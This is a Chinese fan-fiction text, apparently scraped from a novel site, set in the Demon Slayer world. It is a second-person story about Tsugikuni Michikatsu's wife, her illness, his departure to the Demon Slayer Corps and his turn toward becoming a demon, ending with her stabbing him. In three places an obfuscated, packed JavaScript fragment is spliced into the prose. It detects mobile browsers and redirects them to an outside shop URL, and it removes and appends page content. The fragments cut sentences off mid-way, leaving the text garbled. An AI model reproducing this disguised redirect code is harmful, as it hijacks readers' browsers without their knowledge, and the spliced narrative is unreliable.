你从前有过,穿越后,对理想的构建就具象化成上一世的样子。如果可以选的话,你会毫不犹豫,抛弃现在的一切回到过去,仅仅只是回到过去。 不是没有一丝留恋,而是你的所求早已和现实裂开了巨大的鸿沟,多么深的爱也填不平的鸿沟。 你知道的,在岩胜心中也有这样一个世界,它由剑术和武道构成,世俗的风雨吹不进去。唯有缘一的到来,带给他一整个全新的开天辟地,那里有鬼怪、有呼吸法,就是没有你一个凡人的立足之地。 他要到没有你的地方去了,那是同样一道填不平的鸿沟。 如果是你呢?换做是你,找到了回现代、回家的方法,岩胜拽住你的衣袖:“别忘了身份,你嫁了人、生了孩子,要履行家主夫人的职责,一辈子留在这间屋子里带孩子、做家务。”怎么办? 你想,你一定会恨他的,你会恨死他的! “我支持他离开。” 你的话音落下,父亲就砸了茶杯。 “我看你是中邪发疯了!”他怒极反笑,“等你哭都没地方的时候,别来找我。” 奶娘战战兢兢,和阿系一起趴地上捡起碎片,哭着向岩胜道:“家主大人。” 父亲仍是咒骂着:“真是畜生腹啊,多出来的孽子把你脑子带走了吗?” “岳父大人,”岩胜道,“我尊敬您,是因为您是夫人的父亲,再这样大放厥词,请恕在下不知礼数。” 他已摆出了送客的架势,父亲走到门外余怒未消,恶狠狠地对你道:“看你丈夫去吧,不知好歹的东西,哭几声、嚎几句,问问你生儿育女的、伺候他,他付出过什么?看他能不能说两句好话,多干点人事。” “父亲,”你仍然很平静,“付出不是看他失去了多少,而是我得到了多少。” 你看一眼岩胜。 “从他那里,我得到勇敢的理由,坚持自我的信心,不断学习的机会,更多的人生选择,还有活下去的勇气。” 你历数今生的得失,闯过一道道难关的底气让你挺起胸膛。 “它们是如此珍贵,我得到的,远比失去的多。父亲,请您放心,有了这些,我不会在没有丈夫的地方哭泣。至于别的您担心的东西,谁也没有办法。” 你静静地伫立着,不知过了多久。父亲早已离开,阿系和奶娘也退下了。岩胜走过来,从后面抱住你。 “谢谢你,”他说,“我知道你是爱我才……” “不,不是这样,”你转身贴进他的胸膛,泪水汹涌而出,“不是这样的,我爱你不愿你离开,但我不能阻止人去找他想要的东西。” 你的三观不允许你成为任何人自我实现之路上的绊脚石。不是没有想过分离的理由,道不同、色衰爱弛、移情别恋、疾病、意外都有可能,历久弥新的感情永远是少数,不应当奢求,为理想而分开,已经是最好的一种了,不是吗? 岩胜离开的那天,简单得就像每一次出巡,紫衣乌袴,腰间挎了把刀,就这么走了。 你目送他走过长廊,一直到门前,孩子们就在庭院里嬉戏,以为父亲还会在不久后归来。 “祝君武运昌隆。”你笑着说,抬手在他背上拍一下。 他高大的背影消失在橹门外,你回到屋里,整个人像是抽掉了魂。 足足一月有余,你都处在巨大的不适应中。一人走掉,不只是少了一个人,还有他留下来的巨大真空。 你这才反应过来,意识到除了死亡,你其实没有经历过真正的离别。 过去,不管走得多远,父母亲人、同学朋友就躺在手里,只隔着屏幕滑动的距离,断联的旧友、不再联系的老同学,只要想,随时可以顺着交际圈找到他最新的联系方式。发达的现代通讯交通网住所有人,让你的一部分时刻与牵挂之人相伴。 可如今,这些已化为乌有。 通信没有用,回来探望也没有用。他迈出了这道门,就是划开了银河,跨过了关山,这才叫离别。和一个人血肉到心灵的联系尽数斩断,痛苦、无力不亚于另一场穿越。 你浑浑噩噩地吃饭、睡觉,对孩子的追问哑口无言。 一切伤痛都需要时间恢复,而且你愈合地格外慢。 直到一个月后,你终于有了点心思做事,到桌前摊开书本,怔愣了好久。 岩胜他,已经找到一生要奋斗的目标并且为之努力了,你呢? 你开始觉得羞愧了。 时间已不是你能随意抛洒的富余之物,这样丧失斗志沉沦下去,对得起自己吗? 你挽起袖子,就从写满这张纸开始吧! 室町末期是各种文学形式涌现的时代,亲身体验、见证这种变化,不也是很好的吗。 你渐渐找回生活的平衡,恢复到平静有意义的日常。独自操持继国家对你还是很有难度的一件事,但留在身边的人都全心全意地帮忙,你知足了。 孩子们一天天长大,变得懂事。大儿子活泼好动,每天精力旺盛地跑跑跳跳,小儿子的身体也强健许多,虽然各方面还是有些跟不上,不注意的话很容易生病,一些暗疾的概率肉眼可见在下降。你肩上、心里的负担都可以放松了。 还要操心的就是教育问题。舞刀弄枪你可做不来,请人来教,你也看不出水平。想来,你这种没有半点运动天赋的人,平衡能力和技巧的巅峰是小学学会自行车,体力、耐力巅峰是中考体育勉强满分,不在基因上拖累就不错了,别的真的指望不上。 你也就抓抓他们俩的识字启蒙了,大儿子不用费心,看一遍就能记住,小儿子这里简直鸡飞狗跳,因为发育的问题,他更难集中注意,抽象思维还有识图能力差,遗忘起来还很快,每一次教学都像打仗。你每每气到七窍生烟,想到孩子不好也不是他的错,又消了气,再教一遍。 差劲的身体全方位拖累你的计划,你必须像一个穷光蛋花最后一笔钱那样,精打细算地分配每件事上付出的精力。至于那些实在兼顾不到的,你也只能放弃。 那些年,朱乃是怎么坚持下来的呢,拖着这样残破的躯体,行动都困难,她是怎么肩负起一切,还装作若无其事直到最后呢? 你果然是做不到她那种程度的。 阿系报上来的佃户和驻地内农民流失的数字已经达到了惊人的程度,这不是单纯经营不善能造成的后果。 谁都清楚,一个没有成年家主顶立门户的家族是没有未来的,其他家没来明抢,绝不是看在继国家余威尚存的面子上,他们大可以刀不血刃,优雅地取走本就是他们囊中之物的家产。 岩胜走之前的安排是否也起过效果,你不想去推测,可能有点儿吧。 被蚕食的基业暂时还显露不出什么,但家族处境艰难这回事,不需要出门也能体会到。你对门庭冷落的日子适应良好,奶娘却忍不住抹起眼泪来。 “都是些什么人啊,尽来欺负我们,老爷他太狠心了,少爷更狠!钱拿着他们不扎手吗?原来都是一家人啊,姬君,您是他亲生的女儿啊,他下这种手……” 你很心累。 累了一天,倒在榻榻米上,脑子空空什么也装不下的时候,长子跑到你身前。 “妈妈,你是不是更喜欢弟弟?” “为什么这样想?” 他控诉地看着你:“你每天照看他、关心他,花好多时间教他,为什么我没有?” 你无言以对。 他愤怒地发泄:“为什么,为什么喜欢弟弟不喜欢我?” “没有,没有不喜欢你,你们……”你虚弱地解释,想告诉他不是这样,在你心里他和弟弟是一样的,而且他是你多么重要的安慰,没有他的话你跟本不知道自己还有没有信心撑下去。 你还有很多话要说,可他已经跑掉了。你起身去追,没几步就双眼发黑摔倒在地。 你忘了,自己根本没有办法做到劳力又劳心。 所以,对岩胜,你不是毫无怨怼的。 这种时候,岩胜你在哪里呢?孩子是我一个人的吗?就算是健健康康的人,独自带两个孩子,其中一个还天生体弱,都是很不容易的,你还能怎么办呢?下人再多,可孩子们想要的是爸爸妈妈啊! 你黯然神伤,为他们从出生背负的这一切痛心不已。 最后,还是奶娘喊你不应,一间屋子挨着一间地找,把你扶起来送到床榻上。你歪在枕头头上,看到自己的整只手,连同甲床都像纸一样白。长期贫血的后果在你身上一一显现。 “早知道,就不催你生孩子了,生什么生,啊?”奶娘哭哭啼啼,“都是命!” 你疲倦地合上眼睛。这种话,做母亲的人是不能说的。你生出了他们,这是一辈子的责任,承受孩子的责怪,是责任的一部分。虽然你这一辈子不剩多少了。 你懂,但委屈是忍不住的。 “不要说了,我还指望着我死了,你照看他们呢。” “大的、小的尽指望我了!”奶娘气冲冲地骂几句,又抹起眼泪来,“瞎说什么呢,什么死不死的,我这么伺候你,赶紧给我活蹦乱跳起来。” 你苦笑。慢慢地,你得让她们接受你时日无多的现实,并为此做好准备。 岩胜现在在做什么呢? 你看向窗外的紫藤花。 家中的草木历经了几番荣枯,你开始淡忘,时间的意义只剩下冷暖带给身体的不同影响。 天气热,头昏脑涨提不起一点精神,转凉了,就浑身发冷离不开被炉。 还能坚持多久呢?你不去思考这个问题,尽可能多给孩子们一点陪伴。 学习的事,也放到一边,学进去多少算多少,不赶进度了。你想,阶级固化程度很高的社会里,其实犯不着鸡娃,他们健康成长才是最重要的。 你让他们围着你坐下听故事,说累了就靠着柱子,看他们做游戏。 双六、围棋、放风筝,哥哥带着弟弟,笑声从这边飞到那边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048782|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你含笑听着,顺便读鎹鸦送来的信。 岩胜的叙述保持了他一贯简洁的作风,寥寥几笔带过他的现状后,就是问候你和孩子们。你从中读不出他的情绪如何。 应该是开心的吧?他追随缘一加入鬼杀队,很快就成为了骨干成员之一。技术得到磨练,有了精进的机会,才华得以施展,成绩也被认可,人之所求,也就这些了吧? 你把信翻来覆去地看,心里始终空落落的。 就不能多写几句吗?算了,我多问几句吧。 你铺开信纸,研好墨汁,提起的笔久久不落。长时间的分离已模糊你对他的感知,岩胜所过的是怎样一种生活,你也无从想象。 曾经,你有一箩筐的话要对他说,写满一张又一张的笺纸,封上时透家的泥封,恨不能一天寄出两三回。那是从共同的情感体验里淬出的真心话,你们已失去了这个基础。 鎹鸦拍拍翅膀,带走家里的问候。你让孩子把他们的小手印印在纸上,装了进去,内心却更加孤独。 没有任何理由,你凭直觉感到岩胜心里的隔膜,你们是在向一片虚空抛掷感情呀,能得到什么回应呢。你甚至后悔这么做了。 进一无所谓地甩甩手,跑去问阿系要水来洗,止一慢吞吞地跟上哥哥。对他们来说,“把成长的痕迹寄给父亲看”,新奇的乐趣远大于实际含义。他们还记得那个抱着他们教走路的人吗? 你很失望,为他、为他们,为你自己。 紫藤花家的医师不忙的时候过来看你,带来信件里没有的内幕消息。近来,她走动得很勤。她说,这是因为要救治的伤员人数大大下降了。 “鬼杀队的实力提升地非常快,”她高兴地说道,“各位柱都掌握了呼吸法,一般的鬼根本奈何不了他们。尤其是两位继国大人,大家都说,没有他们战胜不了的敌人。” “真的?他们有这么强?” “他们是最厉害的!所有人都这么说,你还不信吗?” 下一次来的时候,她带上了伴手礼。 “这是一个伤愈的队士给的,他说是月柱大人从鬼的手里救下了他,听说我常到继国家,特意绕远路送来的呢。” “月柱大人太棒了,听说他新创了自己的呼吸法,之前只有日柱大人能做到呢。” “还有这个、这个,这个也是,都给你!” 这已是你少有的安慰。 知道这个世界上有人得到了拯救,暗处的威胁在被逐一消灭,勇敢的人舍生忘死,为守护他人踏上征途,你会十分欣慰,觉得自己也做出了正确的事情。 你从继国家拨了一笔钱和物资给她,用来改善紫藤花之家的环境,医师谢绝道主公不缺钱。可钱怎么会嫌少,你坚决给了她。后勤是很重要的,你也花不了多少,就用在更需要的地方吧。 久而久之,你们的来往成了惯例,发展出了医师和军属之外的友谊。 除了岩胜的消息,她也和你聊聊治病的趣事,抱怨工作的劳累,你则旁敲侧击告诉她消毒杀菌、保持卫生的重要性,怎么通过标准化流程提高行医效率,还动手帮她设计了一套新的流程规范。 “不过,我再怎么辛苦,也比不上鬼杀队的柱们,他们才是杀鬼的中坚力量,这会儿还在忙新的锻炼方法呢,叫什么来着,忘了。”她说。 “能成为柱,都是万里挑一的,不像我又矮又瘦,没什么力气,根本没有可能亲自报仇,只能做些小事帮帮他们——对了,你说的风玫瑰图怎么画来着?” 从她的话中你了解到,鬼杀队的成员不是世代从事此业就是和鬼有血海深仇,他们加入进来只为获得除去恶鬼的力量,岩胜这样的,是少数中的少数。 “所以,我最佩服的就是月柱大人!不是所有人都可以放弃优渥的生活,一心去帮助别人的。这样的人最了不起了!” 话说完,她才想起你也是被放弃的一部分,惊慌地道起歉来。 “啊!抱歉、抱歉,真的非常抱歉!我不是这个意思,我……” 你一笑置之,开启下一个话题。 “你说的新的锻炼方法,具体指什么?” 她开开心心地来,开开心心地走,告诉你新的方法非常有用,但是有若干不足,你认真地听完,再和她商量着调整。 医师总是对她的工作充满热情,那强烈的干劲时常感染到你,一点点忧愁在她那儿总是很快消散了。 “柱们太乱来了,仗着斑纹,都不带歇的,结果病了,怎么这样啊?算了,反正我会治好他的,很快就可以再杀鬼了!” 她说的这一切,你与有荣焉。 为保护人类而奋斗,不是强过为权、为利百倍吗?总有人更爱过有意义的人生,从抢水争地、挖路断桥的龌龊中超脱出来,走到更光辉无私、纯粹高尚的世界里,对醉心武道本身的岩胜来说,不是非常幸运的一件事吗? 你为他高兴,真的很高兴。 你只是非常想找到一方同样的天地,可以心无挂碍地投入进去。 17. 第 17 章 岩柱没有救过来,队里的医师还没来得及采取什么措施,他就断了气。 随着他的突然逝去,死亡的阴影接二连三地降落在斑纹剑士的身上。 一开始,鬼杀队众人以为是什么诅咒类型的血鬼术,多方调查后明了,战力不可思议的大幅提升,原来是提前透支生命的结果。 这一事实,大家很快就接受了。在纵情享受战斗的酣畅淋漓时,他们已隐约感到那一刻极致的快感有种不切实际的轻飘飘,过去是漂亮的战果掩盖住了不安,现在只不过是猜测落实。 知道是怎么回事后,剩下的就简单了,只看个人如何接受。 有人格外激进,拼命地接任务,整夜奔走杀鬼,直到倒在没处不知名的角落,有人离开了队伍用剩下的时间去做之前认为不甚重要应该排在杀鬼之后的事,但更多的人并不能坦然地面对死亡。 他们或歇斯底里,或酩酊大醉,在茫然无措中惶惶终日。 岩胜看着他们丑态毕露的样子怒火涌动。仅仅在不久前,这些人结伴去杀鬼奋勇向前少有退缩的时候,死都不怕,却在等死的过程中骨气尽丧。 面临生命的终结,一切矫饰都会现形、剥落,暴露出本来的样貌。 岩胜忽然开始恐惧:别人眼里我又是什么样子的呢? 他像往常一样行动,练剑、找人切磋、指导弟子、领任务、杀鬼、回到驻地,再练剑、找人切磋……循环往复,绝不出一次错。 他想起每天你晨起,哼着调子披上一件小袖,对着镜子绑好头发,面庞染上金色的晨曦,然后和他一起用餐,听阿系说今天要处理的事,一边点头一边快速地写在怀纸上。他从没亲眼见过你是怎么解决这些琐事的,晚上巡视归来,炉灶永远热气腾腾,榻榻米、门框、壁龛全都散发着洁净的光芒,阿系捧出刚煮好的茶汤,你已坐在窗前那个奇奇怪怪的凳子上埋头写写画画,或吹着一支他没听过的曲调,日日如此,从无例外。 你从不对谁耳提面命,内生的秩序自然形成稳固的氛围,足以摒除外界的干扰。你无需举起刀除掉一个接一个的敌患,就可以成为自己的主人。 他在你身边感受到规律、重复、固定行程能带来的巨大安全感,时间像节日的金平糖,可以含在嘴里慢慢地嚼很久,以为没有了,舌头舔一舔,甜滋滋的,还在。 可现在,这一方法已失效。只有岩胜自己知道,他是怎样在结束了一天后,独自在无人处彻夜难眠。 他曾经厌倦了那种千篇一律的漫长生活,如今却在飞速流转的日夜中寝食难安。 在他还是那个战场上无情掠夺生命的家主时,从未如此深刻地感到死亡就是虚无,是一切意义的消失,锤炼到化境的□□、无坚不摧的战技,都在死亡的呼吸下化为齑粉。 岩胜在行走的脚步、挥刀的破空、清晨的鸟鸣,甚至是睡眠中时刻听到死神振翅的声音,一声声,催促他去寻找某种值得的证明。 到了后来,他甚至开始忌妒最先死去的岩柱。在不移的信念和得到力量的狂热里不知死之将至,痛痛快快地战斗后陷入永久的长眠,怎么不是幸运呢?反倒是他们这些剩下来明白真相的人,再也得不到安宁。 岩胜发现,他在不知不觉间对弟子的要求越来越严格。以前能一笑而过的那些小毛病,现在每一个都能让他横眉冷对,甚至怒目相向。 好几次,弟子们惊慌不已、战战兢兢,岩胜才反应过来刚才的发怒实在是过了。 怎么会这样?他厉声呵斥、用竹刀劈打别人的样子简直……简直像他的父亲。 意识到这一点,岩胜的脑子里响了个闷雷,炸得他连续几天都浑浑噩噩不知身处何方。 可即便是这样地用心去教了,他们的进步速度还是慢得惊人。 为什么这么慢?当初选择这些人来亲自指导,就是看他们天分还不错,可训练了这么久,一个可以作为继子的人选都没有。 “继承人的事情想好怎么办了吗?”他问缘一,“没有人的实力能触及你我这个程度,传承估计是做不到了……这样下去,千锤百炼来的呼吸法就对会失传的。”* 不久之后他就会死去,引以为傲的剑术从这世上消失,就像从来没有存在过一样。缘一,你有想过怎么办吗? 缘一脸上挂着淡淡的微笑。 “兄长大人,你把咱们两兄弟想得太过重要了。你我只是人类漫长历史中的两位过客而已。天赋远在你我之上的婴儿说不定此刻就降生在某处,想必他们最终也能抵达相同的境界吧。无需多虑,我们只要顺其自然,等待人生落幕的那天到来便可。”* 这究竟有什么好笑的…… 啊,不行,不能再想了,内脏翻江倒海,要吐出来了。 光活着就是一种暴力的惩罚,浓稠的粘液一样的恨粘得到处都是,好恶心。想要撕扯成碎片、摔打到粉碎再踏上两脚,毁灭的冲动游走在每一个角落无处安放,得到任何的回应都像是被持续地羞辱。 岩胜想要呕吐很久了。 鎹鸦叫了两声,停在训练场外的围栏上。 岩胜取下它身上的信件,握在手里久久地出神。 这个时间,水柱应该过来了吧。这样想着,他取下架上的竹刀往里走。 水呼虽然不能和缘一的日呼比,但和其他流派的融通做得非常好,和水柱比试也很有意思。不过,还是风柱更容易上强度。 岩胜推开了大门,里面一片狼籍。 又一位柱倒下了。 围在师父跟前,水柱的继子们完全吓傻了,不知道伸手,只会乱喊。 岩胜立刻丢开刀上前帮忙,刚好赶上这位熟人闭眼的最后一幕,岩胜悚然一惊,无尽的凉沁满全身, 他亲眼目睹、经历过父亲从病入膏肓到咽气的每一个阶段,活力一点点耗尽,人慢慢熬到剩下一副皮囊,一根根突起的肋骨还随着干瘪的胸膛起伏,那样子只会让人觉得死去也是解脱。 可水柱不是这样,挥洒生命榨取力量的斑纹剑士不是剑士不是这样。那是真正的人死如灯灭,热烈的燃烧到苍白的死寂,只隔一个呼吸。 终结到来得如此猝不及防,见惯生死的武士也无能为力。 “不能救救他吗?”有人哭喊道。 混乱中,装着信的竹筒不知滚落到何处。 几日后,葬礼如期举行,这回大家都有了心理准备,仪式场面庄严肃穆。 水呼易于入门,不缺后继者,新任水柱就在灵前上任,少年的脸庞稚气未脱,眼神坚毅一如他的前辈,岩胜几乎能看到斑纹在他身上蔓延夺去生机的样子。 真是荒谬,这儿的人个个年纪轻轻时日无多。岩胜焦躁起来。 交接期,岩胜主动承担了更多的任务,现在新的柱到位,他有些无所事事了。 挥刀、落下,弟子惊叫着飞出去。 挥刀、落下,鬼在诅咒声中灰飞烟灭。 挥刀、落下,周身全是老套的恭维。 挥刀、落下,缘一又有新剑型了。 挥刀、落下、挥刀、落下、挥刀…… 什么时候,轮到我? 没时间了,没有时间了啊! “只要变成鬼,所有问题不就迎刃而解了吗?”* 你在走廊上看孩子做游戏的时候,听到了家主回来的消息。 进一因为练剑磨破了手,高举着朝你跑过来,你取来药膏和干净的布给他处理。 “再遇到这种情况怎么办呢?”你趁机考他们。 进一抿住嘴头转到一边,止一看一眼哥哥,犹犹豫豫地说:“我知道,找阿系。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048783|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,答对了。” “就不能找您吗?”进一执拗地盯着你。 你正要说什么,阿系一路飞奔着过来道喜,你抬起头来不及做出什么表情,岩胜已大步流星穿过中门来到院内。 你维持着俯身拉孩子的动作,看起来傻极了。 岩胜不错眼地看着你,你还像一个小孩子一样,坐在走廊边上小腿垂下来轻轻地晃。 看到生人过来,止一直往你身后躲,进一拉着他的手一下子跑开了。 你连忙转身去追:“这是爸爸呀,不是每天追着问我爸爸去哪儿了吗,快过来呀。” 奶娘把他们拽过来,推到你跟前,两个孩子还是老大不情愿的样子。 “是爸爸呀。”你固执地强调着,焦急地看他们。 进一抬头看他一眼,闷头跑掉了,止一挣脱不开奶娘的手,急得扭来扭去。 你还要说什么,一只手搭在了肩上。 “不用了,”他唤着你的名字,缓缓蹲下身,“不用了。” 你的眼泪汹涌而出。 岩胜看起来瘦了,风尘仆仆又心事重重,看着格外疲惫。你用手绢去掸他身上的灰,没两下就投入他的怀抱。 岩胜收紧手臂,紧紧地拥着你。 “真是的,放你走是让你去做喜欢的事情,这个样子我可是会后悔的,现在已经后悔了。” “没事的。”不知是安慰谁,他把头靠在你的肩膀。 屋里亮了灯,你靠着枕头坐下,给他缝补破开的羽织。 大概是作战后匆匆赶来,岩胜看着有些狼狈,平时打理得整整齐齐的发丝散出几茎,衣服上有缠斗过的痕迹。 你先把袖口、领口处的布料拆下来,对着光穿好针,换上新的。衣服里衬不好换,你拉开衣襟翻过来,直接缝好。 “试试看,没有太紧吧。” 你抖开羽织披他身上,左看看右看看,满意了,利落地转动手腕打一个结,凑过去咬下线头。 “好了。” 岩胜摸摸衣服上的针脚,只说:“别太累着自己了,小事就交给别人做。” 你摘下顶针,埋头收拾针线盒:“小事嘛,我顺手就做了。倒是你,别让自己那么累。” 你盖好盖子,重新抱住他,手指沿着他脸上新添的红色斑纹来回地摩挲,他这样看着更像缘一了,不过仅仅是第一眼,看着线条相似的五官,其实给人的感觉完全不一样。 “慢慢来,进步也不是一天两天的事呀。和我说说杀鬼的事吧。” “那没什么好说的。” “骗人,我听人家说的可有意思了。” “谁?谁和你说的这些?” 你感到抚摸你头发的手僵住,心中不解:“紫藤花之家的人啊,那位医师常来呢。” 岩胜有一会儿没说一句话。 “不要和他们来往。” “为什么?” “不想要你接触和鬼有关的事。” 你安抚地轻拍他的背:“不要担心,那种事不会再发生了——是谁?” 你抬起头往门边张望,屏风后两个小脑袋马上缩了回去。 “快过来呀,别冻着了,”你招呼他们,“哎,怎么不披件衣服呀,快。” 你掀开被子把他们塞进去,裹得严严实实的,只露出两张兴奋的小脸蛋,挨个亲了一下。 进一猛力挣扎,胳膊挣脱出来放在被面上,长出一口气。他穿着深蓝底墨竹纹的寝衣,是岩胜的旧衣改的。 衣服的前主人发话了:“男子汉要……” 你捂住他的嘴:“这时候就不要说话了吧。” 就这样,你们四个挤在两个人的被窝里,胡乱睡了一晚。你的后背贴着我的胸膛,爸爸妈妈各伸出一只手环成最温暖的圆。 18. 第 18 章 早上天刚亮,怀中的孩子就吵吵嚷嚷地爬出来,换衣服、穿鞋,跑出去游戏。你因为虚弱起床困难,迷迷糊糊叮嘱几句又伏在了枕上,岩胜竟也躺着,不着急起床。 他挪动身躯,补上孩子们的空,额头贴在你的颈侧,鼻梁轻蹭你柔软的脸颊。你自然地侧过身,冷冰冰的脚塞进他的腿弯。 你们维持着相依偎的姿势,直到完全清醒过来,也没舍得动,共同享受这难得的温馨时光。 最终还是你先打破了沉默。 “什么时候走?” 他把头埋得更低:“马上。该到去本家的时间了。” 你一阵心痛,未曾远离,已感到抽去血肉的痛苦。 “岩胜,我没有别的要求,”你浑身发抖,“答应我,至少在我死之前,你要回来看看,和我告别啊。” 没有人知道你心底的恐惧,你无法诉说,也得不到任何安慰。 岩胜拉过你的手,贴在唇上。 “我答应你。” 屋外,孩子们的老师已经到了,开始剑术授课。你叮嘱过,止一强身健体就够了,所以上课的重难点都在进一那儿。 他这几日大概是到了瓶颈期,练来练去都是重复的动作,老师逐一纠正他动作不到位的地方。 你们静听着这声音,都产生了时光倒流回到往昔的错觉。 岩胜扶你起来,你像往常一样帮他梳好头发。 用过餐,你们一起披衣出去。进一嗖的扭过头来,眼睛亮得惊人。 “要这样。”岩胜从背后握住他的手,带他打完一整套动作,感受正确的发力方式和肌肉走向,松手进一再独自做一次,每一步都像模像样。 做完收剑式,进一微微喘气,你给他鼓掌,孩子顿时就不好意思了。 你笑,给他擦汗:“有时候,坚持不见得是好事,停下来想一想,什么才是正确的,能做得更好,记住了吗?” 进一不答话,两眼滴溜溜地转,看到岩胜穿上一身外出的衣服,黯淡下去。 “走了。”他放下竹刀。 你的手悬在半空中忘了收回来。 “没事的。”不等岩胜说什么,你已调整好表情,牵着他的手送到门外。 更远的地方岩胜不许你再走,他挡住风口拉紧你的的衣襟,就像离家追随鬼杀队时那样走掉了。 你靠着门柱目送他的背影远去,也同那天一样伤感。 “杵这里干嘛,着凉了又要我照顾。”奶娘眼皮都懒得抬,拽着你往回走。 除非岩胜突然反悔又回来当家主,不然她是永远不会给他好脸色的。 你拗不过她,乖乖地回去躺下了。 就这么几步路,浑身都酸痛起来,你抱着被子缓了有一阵才好些。缘一所说的大限日渐逼近,你们还能见几次面呢? 你静静地闭上眼,不知道接下来的消息会怎样令家里天翻地覆。 说实话,嫁人之后,你就没见过家里同时进来这么多人。自打穿越来,也没有过这么多人同时对你讲话。 他们七嘴八舌地说着不同的话,表情却是一模一样的愤怒,你完全弄不懂这是要表达什么,再加上奶娘一直挡在前面声嘶力竭地叫他们安静,你更是一句话都听不懂了。 “我说了他不在、不在,听不懂吗?”她大声喊道,神色足以用狰狞来形容,“这个人早就和我们没关系了,你们请回吧,不要无缘无故跑到别人家里啊!” 乱哄哄中,有一道声音格外尖锐:“他最后一次出现就是在这里,到底哪儿去了,快说!” 奶娘更大声的吼回去:“不知道,我们不知道!听见了吗?” 你捂住耳朵一路小跑着离开,把人群甩在身后。 正厅里挤满了人,屋外却是如此地空旷,你怔怔地立在庭院中间,风儿送来紫藤花的香气,嘈杂声似乎都已远去。 “岩胜,你找到自己想要的了吗?” “还没有,但是我想,束缚在我身上的一切枷锁都要解开了。” “那真是太好了。” 那会儿,岩胜你是什么表情来着?原谅我,竟然没有注意到。 岩胜,你知道吗,追求人生的意义对我来说也是很重要的,只是我时常忘记了这一点。 你向着门外大踏步迈进。 小说剧情不属于这平常的一天,以及普通的你,心有灵犀般的宿命遇见没有上演,你也早就放弃了女主角幻想,机械地走在每个路口都差不多的路上。 近五年足不出户的日子让你退化得可以,绕了几次后,都分不清是在哪里了。 你就这么走着、走着,心想:我一定要找到他。 他在哪里?不知道。 鬼杀队剑士日常的生活你都无从想象,福至心灵跑到某个地方刚好遇见要找的人,是天方夜谭。 所以,你也不知道自己为什么还在找。 肺像坏掉的风箱,呼哧呼哧地进出气,骨头和肌肉一起发出悲鸣,你如同无意识的丧尸,佝偻着腰,拖着步子继续向前。 多久了?应该没多少时间吧,毕竟你的体力很差很差了。 仍是走着,太阳落下去,天黑透了。若不是在夏天,会冻死在这条路上吧? 没有力气思考了,你跌跌撞撞,脚步不停,唯恐休息一下就会摔倒,再也站不起来。 好累啊,你真的曾经有过玩闹一整天都不用歇的日子吗? 这样没头苍蝇似的乱撞,谁也找不到的吧? 走着、走着,天空从深黑褪色成浅浅的孔雀蓝,你在树荫下看到一个女人,紫色底朱红花色的小袖和服,乌发垂下,发带扎在颈后,眼底凝结着哀伤。 没有任何证据,你说:“带我去他那里。” 她那双紫色的眼睛安静地看着你:“夫人,您还有自己的人生。” 你说:“带我去他那里。” 岩胜撑着上半身跌坐在地上,黑衣的男人袖手站在一旁,这时你走过来,惨白的面色比在场任何一个都更像鬼。 “岩胜。”你低声呼唤,很确定他一定是听到了。 男人不耐烦地啧了一声。 “你活不了几天了,知道吗?”他玩味地说,“也想要我的血吗?不行,看着是很少有的类型,可实在是太弱了,你能有什么用呢?” “岩胜,”你走过去,“我们回家好不好?和我一起回家。” 他慢慢坐起来,推开你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你挥刀向下,笔直地插入他的胸膛。 剧痛之中,他睁开赫色的双眼,直视着你。 还、还不够吗? 你颤抖着往出拔刀,血液流淌出来,濡湿了刀柄,你更使不上力,只好往里推。岩胜顺从地后仰,你们相拥着倒在一起,像一对亲密的爱侣。 血色中,他泛红的金瞳摇曳变幻,裂成六道灼人的光。 你靠在他起伏不定的胸膛,看到他毫不在乎地挥手,掷出没入血肉的刀刃,你手心一痛,血立即涌了出来。 做完这件事后,他头一歪,定定地看住了你,又在同一瞬间,眩晕似的眯起眼。 你气喘吁吁,无力地依偎着他,任其动作。你是见过恶鬼捕食的,此刻不再抱有幻想。 眼前的情景模糊下去,除了越来越弱的呼吸,你什么也听不到。 这就是死亡吗,来得真是轻易呀。 可惜啊,如果刀能更进一点,那就好了。